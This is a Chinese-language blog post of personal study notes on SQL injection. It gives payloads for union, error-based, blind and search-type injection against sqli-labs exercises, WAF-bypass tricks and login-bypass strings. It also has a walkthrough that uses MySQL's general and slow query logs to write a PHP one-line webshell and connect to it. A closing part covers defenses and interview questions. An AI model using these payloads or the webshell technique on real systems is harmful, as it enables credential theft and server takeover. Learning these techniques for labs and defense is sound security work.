sql注入

https://www.zhixi.com/view/6d367602

sql 挖掘

先实现网站本身的基础功能

然后发现有注入点的时候,进行测试

  1. 是否存在 联合注入

    就是判断字符型还是数字型…

    看一下回显位

  2. 报错注入

    看是否存在报错

  3. 时间盲注

    看是否回沉睡

SQL基础

了解sql

  1. 注释

    1
    -- 一定要加一个空格
  2. 表示相等

    1
    -- 使用`=`
  3. sql信息表

    1
    infomation_schema

使用系统函数得到信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SELECT version();  -- 返回数据库的版本

select user();

select DATABASE(); -- 这个经常使用

SELECT CURRENT_USER(); -- 当前用户

SELECT @@datadir; -- 数据库的地址 这个返回的是一个文件路径

SELECT @@version_compile_os; -- 返回当前系统的版本


-- 系统的用户
SELECT SYSTEM_USER();

使用infomation_schema查看信息

  1. 查看所有的数据库

    1
    SELECT * FROM information_schema.SCHEMATA;
  2. 1
    2

    SELECT * FROM information_schema.TABLES;
  3. 列名

    1
    SELECT `COLUMN_NAME` FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE '%h%';
  4. 数据库表的名字

    1
    SELECT `TABLE_NAME` FROM information_schema.TABLES;
  5. 查看该表属于什么数据库

    1
    2
    SELECT * from information_schema.TABLES WHERE `TABLE_NAME` = 'test_data';

  6. 字段的名称

    1
    2
    3
    4
    SELECT COLUMN_NAME
    FROM
    information_schema.COLUMNS
    where `TABLE_NAME` = 'student';
  7. infomation_schema常用的字段名称

    • schema_name所有的数据表
    • table_schema 当前表的数据库
    • table_name 表的名称
    • column_name 字段的名称

sql 注入常用的函数

  1. concat(str1,”分隔符” ,str2)

    concat(str1,str2,str3)

  2. group_concat(field_username1,field_username2…)

    将多行查询的结果以逗号隔开全部输出 (将多行转换成一行输出)

  3. substr(),substring(),mid()

    1
    SELECT SUBSTR((DATABASE()),0,10);

    从0,开始,采取10个字节

  4. left(“string”,size)

    从左边开始size个字节

  5. right(“string”,size)

    从右边开始size个字节

  6. locate(substr,str)

    返回substr在str中第一次出现的位置

  7. limitoffset 限制查询显示的行数

  8. rand()

    随机数

    select rand()

  9. floor()

    向下取整数

sql注入的分类

根据变量分

  1. 字符型
  2. 数字型
  3. 搜索型注入

根据位置分

  1. get
  2. post
  3. http

根据手法分

  1. 联合注入
  2. 报错注入
  3. bool盲注
  4. 时间盲注(延迟注入)
  5. 堆叠注入
  6. 二次注入
  7. 宽字节注入

有可能存在的地方

万能密码

如果登录框存在万能密码登录的话,就可以判断存在sql注入的漏洞

当我们输入用户名和密码的时候

1
select * from admin where Username= '.$username.' and Password= '.md5($password).'

但是当我们输入万能密码的时候

1
select * from admin where Username='1' or 1=1 or '1'='1' and Password='EDFKGMZDFSDFDSFRRQWERRFGGG'

由于’or’<’and’<’not’的关系

上面的情况就会变成 false or true or false

最后一个false是'1'='1' and Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
因为密码是我们乱输入的,又会先计算and所以会变成false

万能密码收集

sql注入做题的一般步骤

1 判断是字符型还是数字型

  1. ?id=1' and 1=2 --+   # 不显示
    ?id=1 and 1=2 --+    # 显示
    
    1
    2
    3
    4
    5

    字符型

    2. ```mysql
    ?id=1 order by 9999
    显示为正确为字符,显示错误为数字
  2. ?id=1
    ?id=2-1
    
    1
    2
    3
    4
    5

    如果一项就是数字型,否则就是字符型

    4. 补充知识关于注释符的使用

    注释符的种类 # %23 --+ 本来是--空格,这里我们使用--+来代替
    1
    2
    3
    4
    5

    - 注意sql语句后面加一个空格再接注释符不然会被解释成字符串

    ```mysql
    ?id=1' and '1'='2%23
    按道理来说后面添加了注释符,对的包裹就不完全,所以会报错,但是 ![image-20231015223300224](https://raw.githubusercontent.com/august244/picture/master/allinit/%E5%9F%BA%E7%A1%80%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/sql/image-20231015223300224.png) 没有报错,这种情况下就是把`'2%23'`当成了字符串,所以并不会起到注释的作用

2 猜测sql查询的字段数目

  1. 使用order by

    1
    2
    3
    4
    ?id=1 order by 1
    ?id=1 order by 2
    # ....
    # 一直查到报错

    image-20231015223810801

    3是正常的

    image-20231015223845453

    4就不正常了,可见字段只有3个

3 判断字段显示位

1
union select 1,2,3

image-20231015224420388

可见2,3是显示位

4 查询数据库的信息

1
union select 1,version(),database()

image-20231015224611665

5 查出数据库的表

1
union selece 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

image-20231015225224440

爆破出表名

6 查表的字段名

1
union select 1,group_concat(column_name),3 from information——schema.columns where table_name="users" 

image-20231015225551176

7 爆破关键性信息

1
2
3
4
union select 1,group_concat(username),group(passwrod) from security.users --+

# 建议使用
union select 1,group_concat(id,'~',username,'~',password),3 from security.users --+

image-20231015230510288

8 使用通配符破解数据

认识通配符

  1. #

    匹配0个活多个

    比较灵活

  2. _

    只能匹配一个

9 提升权限

10 内网渗透

产生条件

  1. 我们可以控制传入的参数
  2. 参数会被带入到后端的数据库查询

sql注入练习

GET

sqli-labs的第一道题

POST

sqli-labs的第十一道题

http

CTFhubs技能树 sql注入的ua注入

这道题是直接使用的是hackbar

联合注入

最简单的一类sql注入

前提:页面有回显

主要使用的就是union select()

报错注入

常用的报错函数

1
2
3
4
5
6
concat() # 用于将多个字符串连接成一个字符串
floor(x) # 返回一个比小的整数
rand() # 随机一个值
group by # 根据一个和多个结果进行分组,可以使用
group by one having count(*) # 分组并且计算
updatexml(xml_doument(文件名),XPath_string(文件路径),new_value(新的值)) # 更新xml文档的函数,xpath_expr: 需要更新的xml路径(Xpath格式) 用于个更新xml片段内容,将xml标记的片段给单个部分替换成xml_target,然后返回更改的xml

xml[1]

报错注入的三种方式

  1. extractvalue()
  2. updatexml()
  3. floor()+rand()+group()

布尔盲注

简介

布尔盲注,用于页面没有回显,只会返回true 和 false,构造sql 语句,利用and or 等关键词,来构造条件进行返回,从而达到注入

相关函数

  1. ascii

    ascii(str) 返回字符的ascii 码值

  2. length

    length(str) 返回字符串的长度

  3. left()

    left(str,length)

    length: 截取长度

  4. substr()

    substr(str,pos,length)

    从左到右截取固定的长度的字符串

注入流程

  1. 求当前的数据库长度

    1
    2
    select * from users where id=1 and (length(databases())=8)
    SELECT * from users WHERE id = 1 and (length(database())>8)
  2. 确定数据库名字

    1
    2
    3
    4
    5
    6
    select * from users where id=1 and (left(databases(),1)='s') # 测试数据库第一个字是否是's'
    select * from users where id=1 and (left(databases(),2)='b') # 测试数据库第二个字是否是'b'

    # 使用ascii 确定,原理是一致的
    select * from users where id=1 and (ascii(substr(databases(),1,1))=115)
    select * from users where id=1 and (ascii(substr(databases(),2,1))=101)
  3. 求当前数据库中表的数量

    1
    2
    SELECT * from users WHERE id = 1 AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4

  4. 求表名长度

    1
    2
    3
    SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),6,1))

    SELECT * from users WHERE id = 1 AND (LENGTH((select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1))) = 6
  5. 求表名

    1
    SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),1,1)) = 101 -- e
    1
    SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),2,1)) = 109 -- m
  6. 求列数量

    1
    SELECT * from users WHERE id = 1 AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
  7. 求列的长度

    1
    SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))
  8. 求列名

    1
    2
    SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),1,1)) = 105

  9. 求字段数量

    1
    SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
  10. 求字段长度

    1
    SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68
  11. 求字段名

    1
    2
    SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68

时间注入

堆叠注入

搜索型注入

搜索型的注入也可以被叫做时文本框注入

本质上就是模糊查询,使用like 等方式

mysql 的模糊查询

1
2
3
4
5
6
'%a'     //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
'_a_' //三位且中间字母是a的
'_a' //两位且结尾字母是a的
'a_' //两位且开头字母是a的

判断方式

  1. 搜索 keywords' ,如果出错的话,有90%的可能性存在注入;

    可以观察报错信息中是否含有% 等字符

  2. 搜索 keywords%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;

  3. 搜索 keywords%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;

  4. 根据2和3的返回情况来判断是不是搜索型文本框注入了。

1
2
3
'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='

剩下的就是闭合,然后利用union 进行注入就可以了

sql绕过

由于部分程序会对sql的语法进行检测,所以我们的sql语句不能再后端执行,我们需要绕过才行

嵌套双写绕过

ununionion

大小写混淆

union Union

通过内联注释

通过空格绕过

两个空格等于一个tab,所以我们使用 %a0=空格的方式

%20%09%0a %0b %0c %0d %a0/**/

这个是最近的绕过方式,用注释代替空格

/*注释*/

括号绕过空格

有些情况下空格会被过滤,但是括号不会

这种过滤方法常常用于 time based的盲注

引号绕过

逗号绕过

比较符号绕过

sql注入漏洞的危害以及如何防范sql注入

危害

  1. 未授权访问 导致信息泄露

  2. 可以对数据库的数据进行删除,操作

    如果攻击者进行了增加和删除操作,添加了管理者用户,对公司的权益就很受损

  3. 可以控制后台,如果网站的目录存在可写的权限,可以写入木马,或者对页面进行篡改

  4. 攻击者提权获得远程服务器

防范

  1. 分级用户,严格控制权限
  2. 在书写Sql语言的时候,禁止直接将变量写入,而是通过设置相应的参数来传递相关的变量
  3. 具体检测变量的时候
  4. 使用安全的参数
  5. 通过专业的扫描工具
  6. 多层验证
  7. 数据库信息加密

防御手段

预编译

1
insert into users(username,id,password) values(?,?,?)

使用这种语句的话,用户不能直接传入sql语句,而是使用的是具体的变量,进行赋值

严格控制数据类型

由于数据库部分是弱类型语言所以我们可以使用函数,进行判断用户的输入是字符还是数字

对特殊字符进行转移

使用转义的话,可以防止攻击者进行代码的闭合

常见问题

sql中,group_concat()和concat()函数区别?

group_concat(column2 SEPARATOR separator)

concat()函数用于连接两个或多个字符串,并返回连接后的结果。它可以连接任意数量的字符串,并且可以包含常量、列名和函数等。

如何判断是盲注还是报错注入?

看是否有回显
没有回显,只能通过某些特定的数值来判断,这个就是盲注

报错注入会有回显

如何判断是时间盲注还是布尔盲注?

时间盲注的注入点的方法是在可能存在的注入点后加and sleep(值)来看浏览器相应时间和不加是的时间差

联合查询一般步骤是?

  1. 检查是否存在sql漏洞

  2. 判断是文字型还是字符型

  3. 爆破库名

  4. 爆破表名

  5. 猜测表明

  6. 爆破字段

sql漏洞产生原理是什么?

没有过滤和内容检查

sql漏洞目前你能想到的修复方法有哪些?

  1. 使用白名单
  2. 做内容过滤
  3. 参数话查询
  4. 使用预编译的语言

我想查全局变量,请问有sql语句怎么实现?

1
SHOW VARIABLES;

CTF中拿到一个sql漏洞,你会使用万能密码么?

你怎么判断这个题是否会用到sql漏洞的知识点?

关于日志getshell和慢日志getshell

前提:

  1. phpmyadmin利用日志文件getshell需要账号必须是可读可写权限
  2. mysql 5.0以上
  3. 网站的绝对路径

思路:

  1. 通过修改日志文件的全局变量就可以getshell了

日志getshell

mysql查询日志的方法

  1. 查询错误日志

    1
    show variables like 'log_error%'
  2. 查询日志

    1
    show variables like 'general%'
  3. 慢日志查询

    1
    show variables like 'slow-query%'

流程

  1. 查看配置信息(全局变量主要针对路径和日志的保存状态)

    SHOW VARIABLES LIKE ‘general%’;

    image-20231118215334385

  2. 修改全局变量

    set global general_log=on;

  3. 创建自己的sqllog.php文件,我创建于phpstudy的根目录

  4. 设置日志的存储路径

  5. 完成修改

    image-20231118220336236

  6. 尝试写入木马

    select ‘<?php eval($_POST[cmd]); ?>’;

  7. 查看文件,但是我的文件被火绒处理了,证明了是可以的

    image-20231118220953823

  8. 尝试访问

    image-20231118221547451

  9. 使用蚁剑连接

    image-20231118221816563

    连接成功

  10. 总结与小知识

    • global

      关键字的命令是查看全局参数的值,而不带gloal的是当前的session

    • variables

      在启动MySQL服务的时候,是可以修改具体的参数值来达
      到对MySQL进行动态配置的目的,通常配置在MySQL的my.cnf配置文件中。这些参数中,有些动态的参数
      可以通过set xxx=yyy ;的方式来动态修改。
      这种参数大多数以
      小写
      的英文字母开头。

    • status

      status 查看的参数值是由MySQL自己统计计算得到的。它是MySQL服务运行状态具体的量化体现。都
      是不可以修改的,也就是不能通过set xxx=yyy; 的方式来改变它的值的。
      这种参数大多数以大写的英文字母开头。

    • general_log

      开启 general log 将所有到达MySQL Server的SQL语句记录下来。
      一般不会开启开功能,因为log的量会非常庞大。但个别情况下可能会临时的开一会儿general log以供排障使用。

关于慢日志getshell

基本和上一个思路一致,只是处理的文件不同了

  1. 查看全局参数

    image-20231118224113503

  2. 修改参数,添加路径

    image-20231118224225087

    image-20231118224208574

  3. 写入木马

    image-20231118224251531

    这里有两个注意点

    • 执行时间需要等一下,这条命令不是执行完就能有回显
    • 注意添加的木马是怎么写的
  4. 尝试访问

    image-20231118224412973

总结

这两种getshell的方式都是通过将日志文作为我们的payload,通过此来连接getshell

思路总结

首先需要打开对应的日志系统,然后将日志文件设定成我们的payload载体,在使用select 添加一句话木马(这里都可以),因为日志是记录使用的命令

面试常问

  1. sql 注入的种类

    1. 根据注入位置分

      get, post, head(user-agent, cookie, host, xff, referer)

    2. 根据类型分

      数字型,字符型

    3. 根据利用方式分

      union, 报错, 盲注(时间,bool), 堆叠,二次,宽字节

  2. sql 注入能做什么?

    1. 写webshell
    2. UDF 提权(mysql)/MsSql 提权xp_cmdshell
    3. 获取管理的密码
    4. 破坏数据库导致服务出错
    5. 万能密码登录
  3. 端口识别

    mysql : 3306

    mssql : 1433

    orecle : 1521

    postgreSql : 5432

    db2 : 50000

  4. 堆叠注入和二次注入的区别

    堆叠注入是同时执行多条语句,使用;进行分割,然后每一个;执行逐步执行

    二次注入是将执行存储起来,然后某一个程序调用这个方法

  5. 宽字节注入的原理

    使用gbk 编码,一个字符使用两个字节,后端使用gbk存储和 addslashes()函数,我们可以使用%df 来闭合引号

  6. 时间盲注主要函数

    1
    2
    if()
    sleep()
  7. bool 盲注

    ascii()

    lenth()

    substr()

    left()

  8. 报错注入相关函数

    1
    2
    updatexml()
    extractvalue()
  9. 轻绕过waf

    将其url+base64 编码

  10. 字符串无法预编译

  1. xml用于网络存储和数据交换的标签语言,类似于html但是没有预设的标签,都是用户自定义

sql注入
https://tsy244.github.io/2023/10/14/web/sql注入/
Author
August Rosenberg
Posted on
October 14, 2023
Licensed under